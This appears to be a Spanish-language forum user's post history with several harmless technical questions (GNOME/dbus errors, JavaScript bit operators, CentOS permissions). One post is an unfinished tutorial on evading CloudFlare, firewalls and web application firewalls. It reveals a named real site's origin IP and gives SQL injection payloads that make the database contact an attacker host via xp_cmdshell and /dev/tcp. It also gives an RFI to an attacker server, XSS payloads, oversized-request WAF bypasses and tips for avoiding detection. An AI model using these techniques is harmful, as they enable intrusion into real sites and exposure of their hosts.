Initializing built-in extension XINERAMA
Initializing built-in extension XFIXES
Initializing built-in extension RENDER
Initializing built-in extension RANDR
Initializing built-in extension COMPOSITE
Initializing built-in extension DAMAGE
Initializing built-in extension MIT-SCREEN-saber
Initializing built-in extension DOUBLE-BUFFER
Initializing built-in extension RECORD
Initializing built-in extension DPMS
Initializing built-in extension Present
Initializing built-in extension X-Resource
Initializing built-in extension XVideo
Initializing built-in extension XVideo-MotionCompensation
Initializing built-in extension SELinux
Initializing built-in extension XFree86-VidModeExtension
Initializing built-in extension XFree86-DGA
Initializing built-in extension XFree86-DRI
Initializing built-in extension DRI2
Loading extension GLX
/root/Desktop was removed, reassigning DESKTOP to homedir
/root/Downloads was removed, reassigning DOWNLOAD to homedir
/root/Templates was removed, reassigning TEMPLATES to homedir
/root/Public was removed, reassigning PUBLICSHARE to homedir
/root/Documents was removed, reassigning DOCUMENTS to homedir
/root/Music was removed, reassigning MUSIC to homedir
/root/Pictures was removed, reassigning PICTURES to homedir
/root/Videos was removed, reassigning VIDEOS to homedir
gnome-session[15963]: devkit-power-gobject-WARNING: Couldn't connect to system bus: Failed to connect to socket /var/run/dbus/system_bus_socket: Conexión rehusada
gnome-session[15963]: WARNING: Could not connect to ConsoleKit: Failed to connect to socket /var/run/dbus/system_bus_socket: Conexión rehusada
gnome-session[15963]: WARNING: Could not connect to ConsoleKit: Failed to connect to socket /var/run/dbus/system_bus_socket: Conexión rehusada
GNOME_KEYRING_SOCKET=/home/root/tmp/keyring-9GSVBx/socket
SSH_AUTH_SOCK=/home/root/tmp/keyring-9GSVBx/socket.ssh
GNOME_KEYRING_PID=15993

** (gnome-settings-daemon:15992): WARNING **: Connection failed, reconnecting...

** (gnome-panel:16023): CRITICAL **: panel_key_file_load_from_uri: assertion `uri != NULL' failed

** (gnome-panel:16023): CRITICAL **: panel_key_file_load_from_uri: assertion `uri != NULL' failed

** (gnome-panel:16023): CRITICAL **: panel_applet_frame_change_background: assertion `PANEL_IS_WIDGET (GTK_WIDGET (frame)->parent)' failed

** (gnome-panel:16023): WARNING **: panel-applet-frame.c:1359: failed to load applet OAFIID:GNOME_FastUserSwitchApplet (cannot get property bag):
Unknown CORBA exception id: 'IDL:omg.org/CORBA/INV_OBJREF:1.0'

(gnome-panel:16023): Gtk-WARNING **: A floating object was finalized. This means that someone
called g_object_unref() on an object that had only a floating
reference; the initial floating reference is not owned by anyone
and must be removed with g_object_ref_sink().
gnome-session[15963]: WARNING: Could not connect to ConsoleKit: Failed to connect to socket /var/run/dbus/system_bus_socket: Conexión rehusada
gnome-session[15963]: WARNING: Could not connect to ConsoleKit: Failed to connect to socket /var/run/dbus/system_bus_socket: Conexión rehusada
gnome-session[15963]: WARNING: Could not connect to ConsoleKit: Failed to connect to socket /var/run/dbus/system_bus_socket: Conexión rehusada
gnome-session[15963]: WARNING: Could not connect to ConsoleKit: Failed to connect to socket /var/run/dbus/system_bus_socket: Conexión rehusada

** (gnome-settings-daemon:15992): WARNING **: Connection failed, reconnecting...

** (gnome-settings-daemon:15992): WARNING **: Connection failed, reconnecting...

** (gnome-settings-daemon:15992): WARNING **: Connection failed, reconnecting...

** (gnome-settings-daemon:15992): WARNING **: Connection failed, reconnecting...

** (gnome-settings-daemon:15992): WARNING **: Connection failed, reconnecting...

** (gnome-settings-daemon:15992): WARNING **: Connection failed, reconnecting...

** (gnome-settings-daemon:15992): WARNING **: Connection failed, reconnecting...
^C
waiting for X server to shut down gnome-session: Fatal IO error 11 (Recurso no disponible temporalmente) on X server :0.
gnome-settings-daemon: Fatal IO error 11 (Recurso no disponible temporalmente) on X server :0.
error setting MTRR (base = 0xf9000000, size = 0x01000000, type = 1) Invalid argument (22)
(EE) Server terminated successfully (0). Closing log file.


xinit:  unexpected signal 2.
[root@ns510814 ~]# chkconfig --list messagebus
messagebus      0:desactivado 1:desactivado 2:activo 3:activo 4:activo 5:activo 6:desactivado
[root@ns510814 ~]# /etc/init.d/dbus status && /etc/init.d/consolekit status
-bash: /etc/init.d/dbus: No existe el fichero o el directorio
[root@ns510814 ~]# service dbus status
dbus: service desconocido
[root@ns510814 ~]#


En otro lugar me dijeron que podía ser que este error me da porque no tengo instalado el servicio de dbus asi que revisé y claramente no lo tengo.

Ahora mi duda es, será problema de dbus? ya que se supone que ya lo tengo instalado:

[root@ns510814 ~]# yum install dbus
Complementos cargados:fastestmirror, refresh-packagekit
Configurando el proceso de instalación
Loading mirror speeds from cached hostfile
* base: centos.bhs.mirrors.ovh.net
* epel: mirrors.mit.edu
* extras: centos.bhs.mirrors.ovh.net
* rpmforge: repoforge.mirror.constant.com
* updates: centos.bhs.mirrors.ovh.net
El paquete 1:dbus-1.2.24-8.el6_6.x86_64 ya se encuentra instalado con su versión más reciente
Nada para hacer


Que pasó?
#59
Hola, existe alguna app de preferencia terminal que me permita hacer streaming del contenido de una ventana determinada? pero no que grabe la pantalla sino el contenido de la ventana ya que quiero hacer un script que cuando alguien haga click a un boton desde una pagina web levante una app y le haga streaming y este puede ser abierto varias veces al mismo tiempo levantando varias ventanas una tras otra.

Lo quiero hacer para hacer streaming de logstalgia y tener un visor online en tiempo real junto a otras apps sinilares. esto es posible?
#60
Hola, si estoy haciendo una ecuación donde se necesite solo el valor entero de una cantidad, ¿cómo lo puedo simbolizar?, por ejemplo: a = 10.5 necesito que sea (entero( a ) / 2), pero, ¿cómo lo represento?, ¿existe algún símbolo que lo represente?
#61
Hola, estoy estudiando este algoritmo para un trabajo que estoy haciendo pero me cuesta encontrar información ya que google no te ayuda mucho cuando buscas sintaxis, operadores y comparadores en javascript, por lo general no encuentro cosas que me ayuden a interpretar que es esto:


var x = buffer;
var len = n;

x[len >> 5] |= 0x80 << (len % 32)
x[(((len + 64) >>> 9) << 4) + 14] = len


Lo que si se es que x[n] se refiere al numero de columna de un array de un string, "<<<" es una corrida de bytes, pero "<<" ?, a demás estoy buscando información sobre "|=", supongo que significa "or equal".

Lo que puedo intentar comprender de la primera linea es que si no existe el byte con un numero determinado (longitud?) entonces equivaldrá a la corrida de bytes de \x80, en caso contrario se mantiene como está. Esto es correcto?, lo que también se es que (len % 30), el resultado va de 30 en 30, por ejemplo 62 % 30 es 2, pero del resto no se muy bien.
#62
GNU/Linux / Problemas de acceso a directorios
15 Marzo 2016, 15:15 PM
Hola, estoy intentando organizar archinos directorios y archivos en CentOS para que varios usuarios puedan acceder pero en orden.

Por ejemplo:

/home/storage/apps/diseño/
/home/storage/apps/desarrollo/
/home/storage/licencias/

Ahora, lo que hice fue crear el usuario storage con grupo storage con home en /home/storage, hasta ahi todo bien, hice el grupo storage_apps, storage_apps_disenio, storage_apps_desarrollo, storage_licencias, luego de esto a todo le di permisos 0660 de manera global, de esta manera cada usuario podrá acceder a la carpeta que solo tenga permisos según su grupo de usuario, asi que a un usuario lo agregue al grupo de apps y diseño, a otro apps y desarrollo, a otro apps, diseño y desarrollo, a otro licencias y así.

El problema es que el usuario que está en el grupo storage, storage_apps, storage_apps_disenio no puede acceder a /home/storage, dice acceso denegado y eso que ese directorio tiene permisos 0660 que indica que si un usuario que tiene el mismo grupo puede leer y escribir.

Que hice mal?
#63
    El arte del Bypassing


    Índice



    Introducción

    Antes de comenzar hay que entender que no existe ningún software o hardware que te pueda proteger de manera 100% efectiva, una maquina funciona en su mayoría en base a reglas y listas negras pero una persona no funciona con listas sino con conocimiento e ingenio, por lo cual un hardware jamás podrá detener cualquier tipo de ataque que se realice a un sistema.

    En este tutorial vamos a aprender sobre el arte del bypass, o sea, como evadir sistemas de prevención de intrusión tales como firewalls físicos, softwares de protección, IDS, Web Aplication Firewall, reglas por defecto en servidores web y posibles reglas personalizadas. Claro, todo orientado a un ataque WEB vía HTTP, no hablaremos de un DDOS, MITM o similar.

    Vamos a entrar en el fascinante mundo de la penetración WEB, así que pónganse sus lentes 3D y a sentarse cómodos.


    Entendiendo la implementación de seguridad básica de un sitio WEB

    Primeramente vamos a entender como funciona un sistema de protección, muchos saben que se conectan a un sitio web a través de su navegador de internet pero no saben que otras cosas hay entre ellos.

    Para esto vamos a crear un diagrama sobre la implementación de seguridad básica de un sitio WEB:



    Los círculos rojos son las barreras que necesitaremos evadir para llegar a los datos del servidor y realizar el ataque. Cuando la conexión llega a la infraestructura física donde está alojado el sitio WEB el atacante se encontrará con múltiples barreras las cuales son:


    • El Firewall Físico.
    • El WAF Físico.
    • El Firewall de software.
    • Reglas nativas del servidor WEB.

    A todo esto podemos agregar también la protección básica que otorgan algunos servicios cloud tales como el conocido servicio DNS Cloud de CloudFlare o la seguridad interna de Rackspace o Amazon Web Services como WAF.

    A continuación veremos alguna de las maneras para poder evadir estas capas de seguridad.


    Bypaseando CloudFlare

    Para poder vulnerar un sistema primeramente necesitamos saber:


    • ¿Cómo funciona CloudFlare?
      CloudFlare es un servicio de internet que consta de dos servidores fundamentales: un servidor DNS y un servidor web a modo de reverse proxy. A traves de tu panel WEB tienes la opción de utilizar uicamente el servicio DNS y así te evitas tener tu propio servidor DNS y a demás de manera opcional puedes configurar cloudflare para que todo el tráfico de tu sitio WEB pase por ellos, esto quiere decir que cuando entras a tu sitio web ya no estás entrando a tu servidor sino al de cloudflare y el servidor de ellos hace la solicitud al tuyo, de esta manera ellos pueden manejar tu caché a traves de su servidor WEB, la seguridad con sus propios WAF e IDS, etc.

      En otras palabras, cuando el sitio WEB pasa por CloudFlare el sitio tiene seguridad adicional, pero cuando no pasa por la nube de cloudflare está sin seguridad.

    • Entendiendo el modo directo: Esta es una configuración del servicio de CloudFlare para que todo el tráfico pase directamente al servidor del usuario:



      En este punto CloudFlare solo sirve como servidor DNS y nada mas, no te proporciona ninguno de sus servicios de protección debido a que el tráfico no está pasando por el reverse proxy de CloudFlare (el cual es un servidor llamado Nginx):



      El navegador solicita el sitio web y este consulta a CloudFlare cual es la ip del dominio y listo, el navegador se conecta a esa ip, hasta ahi llega todo el trabajo de CloudFlare. Claramente también CloudFlare tiene seguridad en su servicio DNS pero no nos preocuparemos por ello ya que no es seguridad a nivel WEB sino a nivel DNS.

    • Entendiendo el modo nube: Esta es una configuración cuando quieres que todo tu tráfico pase por el proxy de cloudflare:



      En este punto el servidor DNS de CloudFlare hará que todas las conexiones en ves de llegar a tu servidor WEB llegará al servidor de CloudFlare y este de manera interna se comunicará con el tuyo, de esta forma CloudFlare podrá tomar control de la seguridad WEB utilizando reglas desde sus equipos WAF y reglas de Nginx:



    Digamos que nuestro sitio WEB está alojado en el servidor IP 100.100.100.100, entonces tu tienes un dominio ejemplo.com que cuando configuras su DNS le dices que ese dominio debe apuntar a esa ip, pero en ves de eso apuntará a la ip de cloudflare que es 200.200.200.200, entonces cuando la gente acceda a 200.200.200.200 este de manera interna se comunica con 100.100.100.100.


    Ahora que entendemos un poco mejor el concepto vamos a la práctica encontrando la IP real del servidor WEB:


    • Bypaseando Cloudflare a traves de un subdominio:

      Uno de los grandes problemas de CloudFlare es que solo funciona para protocolos HTTP y HTTPS y de esto nos aprovechamos para bypasear sus servicios.

      La gran mayoría utilizan la misma IP no solo para tener su sitio WEB sino también para tener un servicio SSH para poder administrar el servidor, FTP para transferir archivos, SMTP para enviar correos, etc, y cada uno de estos servicios sirve a traves de su propio puerto, 80, 443, 22, 21 y 25 respectivamente, el problema es que CloudFlare solo utiliza un reverse proxy HTTP por lo cual no sirve para ssh o ftp, cuando haces pasar tu tráfico por la nube de cloudflare cuando intentas conectarte a tu servicio ssh a traves del dominio este no conectará ya que el servidor de cloudflare no sirve ssh.

      Bajo este problema la mayoría de las personas utilizan subdominios que no pasen por la nube de cloudflare, por ejemplo dev.ejemplo.com, este redireccionará directamente al portal de gestor de códigos por ejemplo o ssh.ejemplo.com sin pasar por la nube de cloudflare.

      Cuando haces un ping al servidor te darás cuenta que la IP del dominio principal no calza con al ip de algún otro subdominio y esto es porque el portal princiopal utiliza la ip de cloudflare y el subdominio la ip real del servidor.

      Vamos a ver un ejemplo real:

      Digamos que queremos acceder directamente a r.plixid.com con nuestro ataque pero este está utilizando cloudflare por lo cual detendrá algunas inyecciones sql y ataques ddos. Lo primero que haremos es verificar si realmente utiliza CloudFlare:

      Citarwhk@machine:~$ host r.plixid.com
      r.plixid.com has address 104.28.16.225
      r.plixid.com has address 104.28.17.225

      whk@machine:~$ whois 104.28.17.225

      #
      # ARIN WHOIS data and services are subject to the Terms of Use
      # available at: https://www.arin.net/whois_tou.html
      #

      ...

      NetRange:       104.16.0.0 - 104.31.255.255
      CIDR:           104.16.0.0/12
      NetName:        CLOUDFLARENET
      NetHandle:      NET-104-16-0-0-1
      Parent:         NET104 (NET-104-0-0-0-0)
      NetType:        Direct Assignment
      OriginAS:       AS13335
      Organization:   CloudFlare, Inc. (CLOUD14)
      RegDate:        2014-03-28
      Updated:        2015-10-01
      Comment:        https://www.cloudflare.com
      Ref:            http://whois.arin.net/rest/net/NET-104-16-0-0-1

      ...

      Hasta acá comprobamos que efectivamente está utilizando cloudflare.

      Citarwhk@machine:~$ dig -t cname plixid.com

      ; <<>> DiG 9.9.5-11ubuntu1.1-Ubuntu <<>> -t cname plixid.com
      ;; global options: +cmd
      ;; Got answer:
      ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 44652
      ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

      ;; OPT PSEUDOSECTION:
      ; EDNS: version: 0, flags:; udp: 4000
      ;; QUESTION SECTION:
      ;plixid.com.         IN   CNAME

      ;; AUTHORITY SECTION:
      plixid.com.      2953   IN   SOA   hugh.ns.cloudflare.com. dns.cloudflare.com. 2019789697 10000 2400 604800 3600

      ;; Query time: 22 msec
      ;; SERVER: 127.0.1.1#53(127.0.1.1)
      ;; WHEN: Tue Dec 29 12:53:12 CLT 2015
      ;; MSG SIZE  rcvd: 98

      hugh.ns.cloudflare.com es su servidor dns primario de cloudflare.

      Ahora lo que haré es ver que hay en el registro txt, spf, cname, mx, etc para saber si hay algún registro apuntando hacia algun lado:

      Citarwhk@machine:~$ digg -t txt plixid.com -> nada
      whk@machine:~$ digg -t a r.plixid.com -> ok
      whk@machine:~$ digg -t cname r.plixid.com -> error
      ...
      r.plixid.com no es un CNAME, es un registro de tipo A (puede estar apuntando a otro servidor que no sea el www)
      mail.plixid.com -> Registro de tipo A y MX hacia mail.yandex.net
      images.plixid.com -> registro de tipo A (puede estar apuntando hacia otro lado)
      www.plixid.com -> CNAME a plixid.com
      ftp.plixid.com -> CNAME a plixid.com
      svn.plixid.com = 212.7.192.134

      Bingo!, acabamos de obtener una ip que no es la de cloudflare (el subdominio svn lo saque por fuerza bruta con un diccionario de 4 letras).

      Citarwhk@machine:~$ dig -t a svn.plixid.com

      ; <<>> DiG 9.9.5-11ubuntu1.1-Ubuntu <<>> -t a svn.plixid.com
      ;; global options: +cmd
      ;; Got answer:
      ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 35148
      ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

      ;; OPT PSEUDOSECTION:
      ; EDNS: version: 0, flags:; udp: 4096
      ;; QUESTION SECTION:
      ;svn.plixid.com.         IN   A

      ;; ANSWER SECTION:
      svn.plixid.com.      164   IN   A   212.7.192.134

      ;; Query time: 24 msec
      ;; SERVER: 127.0.1.1#53(127.0.1.1)
      ;; WHEN: Tue Dec 29 12:51:58 CLT 2015
      ;; MSG SIZE  rcvd: 59

      Hasta acá podemos concluir dos cosas, primero que tiene los registros dns mal configurados xD porque está utilizndo registros A en ves de CNAME desde un subdominio que está apuntando hacia el mismo servidor de manera interna.

      Cloudflare no soporta redirección de tráfico que no sea web, por lo cual cuando estas usando un mismo servidor para todo cuando necesitas conectarte por ssh, ftp, git o svn necesitas dejar ese subdominio en modo bypass, quiere decir que no pasará por la red de cloudflare y fue lo que tuvieron que hacer los dueños del sitio. Por no usar otro servidor para su svn comprometieron la seguridad de todo el resto del servidor.

      Mas detalles del caso: http://foro.elhacker.net/dudas_generales/iquestse_puede_saltar_esta_limitacion_de_trafico_web-t446106.0.html;msg2052517#msg2052517

      Ahora, el servidor WEB utiliza host virtuales como cualquier otro servidor, por lo cual, para acceder al sitio web principal sin pasar por cloudflare lo único que necesitamos hacer es modificar nuestro archivo hosts apuntando 212.7.192.134 hacia r.plixid.com o simplemente apuntar una conexión por sockets y enviar la cabecera del host que corresponda y listo, cuando lancemos una inyeccion sql o un ddos ya no tendremos la limitante de cloudflare.


    • Bypaseando Cloudflare enviando un correo desde el servidor:

      Por lo general los sitios WEBs informativos tienen la opción de enviar un tema a traves de un correo, por ejemplo:



      O si no cuando te registras en un foro, blog, o lo que sea te llega un correo de bienvenida o confirmación.

      Por lo general la mayoría de las personas utilizan el mismo servidor WEB como servidor de envío de correos ya que es la misma aplicación WEB la que los dispara al usuario.

      El tema es que cuando estos correos llegan a tu casilla puedes saber desde que IP fue enviada observando el código fuente:

      CitarDelivered-To: whk@elhacker.net
      Received: by 10.55.130.131 with SMTP id e125csp2233621qkd;
              Sun, 13 Mar 2016 11:14:56 -0700 (PDT)
      X-Received: by 10.202.181.11 with SMTP id e11mr11276395oif.77.1457892896209;
              Sun, 13 Mar 2016 11:14:56 -0700 (PDT)
      Return-Path: <webmaster@host.com>
      Received: from host.com (host.com. [xx.xx.xx.xx])
              by mx.google.com with ESMTP id ru2si13190406obc.47.2016.03.13.11.14.56
              for <whk@elhacker.net>;
              Sun, 13 Mar 2016 11:14:56 -0700 (PDT)

      ...

      Entonces donde dice xx.xx.xx.xx será la ip desde el servidor donde salió el correo revelando así cual es la IP real del servidor WEB. Ahora podremos acceder directamente al servidor desde esa ip sin la necesidad de pasar por CloudFlare.

      Hay personas que usan servidores adicionales para el envío de correos pero esa esa una excepción que muy pocos hacen.


    • Bypaseando Cloudflare usando el pingback de Wordpress:

      Wordpress cuenta con un sistema de pingbacks y trackbacks, esto quiere decir que si yo tengo un blog de cocina (blog 1) y hago un post citando a otro blog (blog 2), wordpress le va a avisar a ese blog 2 que está enlazando su contenido y ese segundo blog va a colocar en su area de comentarios un enlace del blog 1.. ahora, cuando hace esto utiliza un socket de conexión directa por php revelando su ip real.

      Por ejemplo:



      El resultado es este:



      El tema es que cuando el Blog 2 va a buscar el contenido del blog 1 perteneciente al atacante este dejará en su log de acceso del servidor WEB la IP real del servidor:

      Citar100.100.100.100 - - [13/Mar/2016:15:38:40 +0400] "POST /xmlrpc.php" 406 198 "http://..."

      Entonces ya sabemos que el servidor objetivo tiene la IP 100.100.100.100 y con eso ya podemos acceder directamente sin la necesidad de pasar por CloudFlare.


    • Bypaseando Cloudflare a través de un RFI

      Bueno, esto es la manera mas facil de sacar la IP de un servidor que usa cloudflare ya que basta con incluir un recurso externo de tu propio servidor de ataque para que en tu lug de acceso quede impregnado con la ip real del servidor.

      Entendiendo que es un RFI: https://en.wikipedia.org/wiki/File_inclusion_vulnerability

      Digamos que el sitio WEB tiene la vulnerabilidad del RFI, como por ejemplo: http://ejemplo.com/?path=[RFI] , entonces basta con incluir algo que se aloje en nuestro servidor:

      http://ejemplo.com/?path=ftp://atacante.com/

      Ahora, observamos el log de accesos y sabremos la IP real del servidor vulnerable:

      Citar15:57:05 200.200.200.200 64965 -  - 100.100.100.100 21 USER Anonymous 331 0 0 34 ...

      Entonces ahora que ya sabemos la IP del servidor remoto nos podemos conectar de manera directa evadiendo CloudFlare.


    • Bypaseando Cloudflare a traves de una inyección SQL

      Es posible saber la IP real de un servidor a través de una inyección SQL, existen algunos motores SQL que permiten realizar conexiones remotas dependiendo de los permisos que tenga. Vamos a ver algunos ejemplos dependiendo del motor SQL.


      • Bypaseando Cloudflare a traves de una inyección SQL (Microsoft SQL Server)

        Una forma de bypasear Cloudflare es obteniendo la IP real del servidor a traves de una inyección SQL haciendo que el motor SQL de Microsoft realice un ping a nuestro servidor de ataque:

        CitarEXEC master.dbo.xp_cmdshell 'ping -t 1 host'

        Sobre nuestra inyección de ejemplo sería algo así: http://ejemplo.com/?product_id=1';EXEC master.dbo.xp_cmdshell 'ping -t 1 host'

        Ahora, en nuestro servidor de ataque con tcpdump vamos a capturar el ping:



        Con esto sabremos a que IP nuestro servidor le está respondiendo los paquetes ICMP. Ahora solo basta con conectarse directamente a la IP para evadir el sistema de protección de CloudFlare.

        También hay que mencionar que el motor SQL necesita permisos de sysadmin (sa) para realizar este tipo de llamadas. En algunos casos algunos administradores perezosos utilizan la conexión sa para comunicarse con el portal web.


      • Bypaseando Cloudflare a traves de una inyección SQL (MySQL / MariaDB)

        Hay muchos que dicen que hacer una conexión TCP sobre MySQL es imposible, pero acá veremos que nada hay imposible, vamos a derribar este mito, pero primeramente necesitamos saber que al igual que Microsoft SQL Server necesitamos permisos elevados, en este caso ser root o un usuario que tenga permisos elevados.

        Hay algunos casos en que por pereza el administrador de un sistema elige conectar el sitio web directamente a la base de datos utilizando el usuario root, para esto nos vamos a aprovechar de la siguiente manera:

        Cuando estamos frente a un servidor CentOS o algún derivado de GNU/Linux o Unix podemos utilizar la gran ventaja de escribir sobre archivos y lanzar paquetes TCP, por ejemplo:

        Citar/dev/tcp/<host-malicioso>/<puerto>

        Cuando sobreescribimos un archivo en ese directorio podremos comunicarnos de manera directa via TCP tal como si usaramos sockets, por ejemplo:

        Citar$ echo -e "GET / HTTP/1.1\nHost: www.google.cl\n\n" > /dev/tcp/www.google.cl/80



        Mas información sobre el uso de /dev/tcp :
        https://securityreliks.wordpress.com/2010/08/20/devtcp-as-a-weapon/
        http://systemadmin.es/2012/06/uso-de-devtcp-para-conexiones-tcp-desde-bash

        Asi que lo que haremos es utilizar la función SQL "DUMPFILE" para volcar un resultado sobre la ip de nuestro servidor capturando la ip remota del servidor:

        Citarhttp://host.com/?product_id=1'; INTO DUMPFILE '/dev/tcp/atacante.com/9999' -- -

        Luego a traves de netcat utilizando el puerto 9999 (para no tener problemas con SeLinux) esperamos nuestra conexión del host remoto y listo! :) , ahora podremos conectarnos de manera directa al servidor sin tener que pasar por el sistema de protección de Cloudflare.

        También existe otra manera de sacar la IP de un servidor con MySQL y es creando una shell usando la query "into DUMPFILE" que con file_get_contents haga una solicitud externa.


    Bypaseando el Firewall físico

    El Firewall físico monitoréa la red, contiene filtros y reglas para prevenir intrusiones.

    Algunos de los firewalls corporativos más conocidos son: Cisco ASA, SonicWall (de Dell), Juniper, Fortinet, Palo Alto y Check Point. Cada uno tiene un costo de muchos cientos de miles de dolares (he visto que se venden en esos precios y aun mas, de hecho yo tengo en mi oficina un SonicWall que me prestó un amigo que sabe mucho del tema).

    Acá un firewall de ejemplo:


    Por lo general son de 1 o 2 U (1U quiere decir que ocupa un solo espacio en el rack físico), este de la imagen es un CheckPoint 4800 de 1U.

    En este punto el Firewall es el encargado de detectar y/o detener ataques de tipo de red como por ejemplo un ataque SMURF, DDOS, que alguien dentro de tu misma red ponga su tarjeta de red en modo monitor, MITM, DNS Poisoning, etc, finalmente tienes un IPS (Intrusion Prevention System) y no un WAF (Web Aplication Firewall) a pesar de que algunos firewalls vienen con un WAF incorporado no terminan siendo su especialidad.

    Por lo cual si queremos lanzar un ataque WEB podremos quedarnos tranquilos que ese firewall no nos va a molestar en lo mas mínimo ya que su trabajo no consiste en detener ataques vía HTTP.

    Vamos, URLs como estas no son detectadas ni detenidas por un Firewall común (que no contenga un WAF):

    http://host.com/?product_id=1'; union all select 1,user(),2,3 --
    http://host.com/?product_id="><script>alert(document.cookie)</script>
    http://host.com/?product_id=1%0cLocation:http://atacante.com/
    http://host.com/?product_id=999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
    http://host.com/?product_id=10E1
    http://host.com/?product_id=~

    Lo único que hay que tener cuidado para no ser detectados por el firewall es no enviar un paquete inconsistente o extraño, por ejemplo: cuando vas a penetrar un sistema jamás le corras un nmap y si es muy necesario hacerlo hazlo desde otra ip para que no seas incluido dentro del log de detección de ataques.

    Por lo general lo primero que hace una persona al intentar buscar vulnerabilidades es hacer correr algún software automatizado de tipo nmap, nstalker, sss, acunetix, nikto, etc que en algunos casos lanzan paquetes especiales destinados a engañar al firewall para entregar información importante del sistema, pero en muchas ocasiones terminan bloqueados por el firewall y no tienes toda la información de manera real, luego de esto el firewall deja tu ip en una lista negra la cual te comenzará a monitorear y puede traer problemas al momento de lanzar el ataque final.

    Por este motivocuando se va a lanzar el ataque hay que tener cuidado de usar estos tipos de softwares para poder pasar limpiamente sobre el Firewall si que te de ninguna alerta.


    Bypaseando el WAF físico

    El WAF (Web Aplication Firewall) físico monitoréa las solicitudes HTTP, contiene filtros y reglas para prevenir intrusiones tipo IDS.



    Algunos de los WAF corporativos más conocidos son: Imperva, Dell SonicWall, Fortinet, Cisco ACE. Cada uno tiene un costo de muchos cientos de miles de dolares.

    Acá un WAF de ejemplo:


    Por lo general son de 2 U (2U quiere decir que ocupa dos espacios en el rack físico), este de la imagen es un Imperva X1000 de 1U.



    • Bypaseando las reglas del WAF utilizando Request mal formadas

      Un WAF funciona en base a reglas, tal como un IDS solo se remite a su blacklist. Cuando terminas haciendo una Whitelist con todos los parámetros de un sitio web tal como lo puedes hacer en un WAF Palo Alto o Imperva terminas loco ya que ese mismo tiempo que dedicas creando reglas es tiempo que puedes dedicar a filtrar los inputs de entrada de cada parámetro desde la aplicación WEB, a demás en cada cambio de la aplicación debes volver a auditar el sistema barriendo todos los cambios eliminando y creando reglas.

      Digamos que tenemos un sitio WEB con LFI de esta manera: http://host.com/?path=[LFI] , pero al intentar ejecutar dicho LFI terminas golpeándote de cara con el WAF: http://host.com/index.asp?path=web.config te arroja un error 400, 404 o 403.

      En este caso en particular hay administradores que conforme el tiempo va pasando van agregando nuevas reglas para prevenir un ataque sobre agujeros existente en sus portales en ves de solucionarlos ya que con esto ganan tiempo y costos, pero el agujero sigue ahí.

      Una de las cosas que se ve comunmente en proyectos ASP y ASPX es utilizar request en ves de parsear métodos GET y POST, por lo tanto enviar parámetros via HTTP/GET es lo mismo que enviar parámetros via HTTP/POST y esto puede provocar un gran dolor de cabeza a la administración del WAF ya que no solo deben proteger las solicitudes GET sino POST también y ahi es donde la mayoría falla.

      Escenario: Hoy la compañía ABC tiene LFI y para solucionarlo han agregado en su WAF la regla que no se pueda acceder a "/http[s*]:\/\/:host.com\/.+(web\.config).+/i" como expresión regular. Por lo cual el atacante ya no puede acceder a http://host.com/?path=web.config, pero aun podemos enviar dichos parámetros vía HTTP/POST:

      CitarPOST /index.asp HTTP/1.1
      Host: host.com
      Connection: close
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 15

      path=web.config

      Ahora, en la mayoría de los casos esto resultará directamente en un bypass y nos devolverá el resultado original, pero en otros casos dependiendo del WAF nos devolverá un error de acceso denegado, por lo cual ahora entraremos a enviar nuestra solicitud especial:

      CitarGET /index.asp HTTP/1.1
      Host: host.com
      Connection: close
      Content-Type: application/x-www-form-urlencoded
      Content-Length: 15

      path=web.config

      Como podemos ver esta es una solicitud HTTP/GET con contenido de datos POST, esto forzará a que el WAF verifique los parámetros como solicitud GET vía URL y no los parámetros POST. En Apache e IIS7 este tipo de solicitud son aceptadas de manera correcta siempre y cuando se esté utilizando las request en ves de las supervariables get y post y provocará un bypass del porte de un buque evadiendo cualquier filtro escrito en el WAF. Es mas, esto también causará que tus parámetros del ataque queden ocultos al log del waf y del iis o del apache ya que solo guardan los parámetros que viajan via URL GET ya que guardar los parámetros via post sería una locura que nadie hace salvo que esté auditando algo muy importante en el momento ya que sería demasiado los datos a guardar y guardaría datos muy sensibles de los usuarios.


    • Bypaseando el WAF utilizando solicitudes mayores de N-MB

      Cuando configuras un WAF debes dictar una serie de parámetros que indican límites para el monitoreo y revisión de solicitudes, un WAF no es una maquina con recursos ilimitados asi que habrán momentos en que no puede revisar todas las solicitudes entrantes.

      Una de estas reglas es el límite de bytes de un paquete que debe ser analizado. Por ejemplo, podemos decir que una configuración por defecto está establecido que solo serán revisadas todas las request menores a 10MB :D por lo cual todas las solicitudes que pesen mas de 10MB no serán analizadas.

      Basta con enviar una solicitud HTTP/POST con los parámetros maliciosos con la inyección SQL, XSS, etc con un prefijo de parámetros basura de 11MB, en este caso el tipo de POST data a enviar debe ser multipart data según el estandard del RFC-1341:

      CitarPOST / HTTP/1.1
      Host: host.com
      Connection: close
      Content-Type: multipart/form-data; boundary=---------------------------0000000000000000000000000000
      Content-Length: nnn

      -----------------------------0000000000000000000000000000
      Content-Disposition: form-data; name="overflow"

      AAAAAAAAAAAAAAAA ..... 11MB de carácteres ... AAAAAAAAA
      -----------------------------0000000000000000000000000000
      Content-Disposition: form-data; name="input-vulnerable";

      ' or 1=1 -- -

      -----------------------------0000000000000000000000000000--

      Y nuestro WAF se quedará mudo sin lanzar absolutamente ninguna alerta ya que en el caso de un sitio web de alto tráfico necesitaría mucho mas hardware para leer request que pesen por ejemplo 1GB o 200MB (por ejemplo en la subida de un archivo o un campo muy grande como por ejemplo el contenido de un cvs o un excel).




    • Evadiendo reglas nativas

      ...



    Bypaseando reglas de Apache (mod security)

    ...






    En construcción :) ...[/list][/list]
    #64
    Hola, estoy creando aplicaciones gráficas y me gustaría utilizar aplicaciones nativas del sistema operativo y del kernel pero sin utilizar pipes del bash.

    Existen librerías nativas donde pueda utilizar las mismas aplicaciones a traves de funciones en ves de argumentos por cli?

    Por ejemplo:
    $ comando -a a -b b

    Que equivalga a:
    resultado = comando(a, b)

    #65
    Foro Libre / Alguien sabe que insecto es este?
    15 Febrero 2016, 20:05 PM


    A veces los veo sobre la ropa de la casa, he hechado insecticida pero vuelven. ¿Alguen sabe que pueda ser?

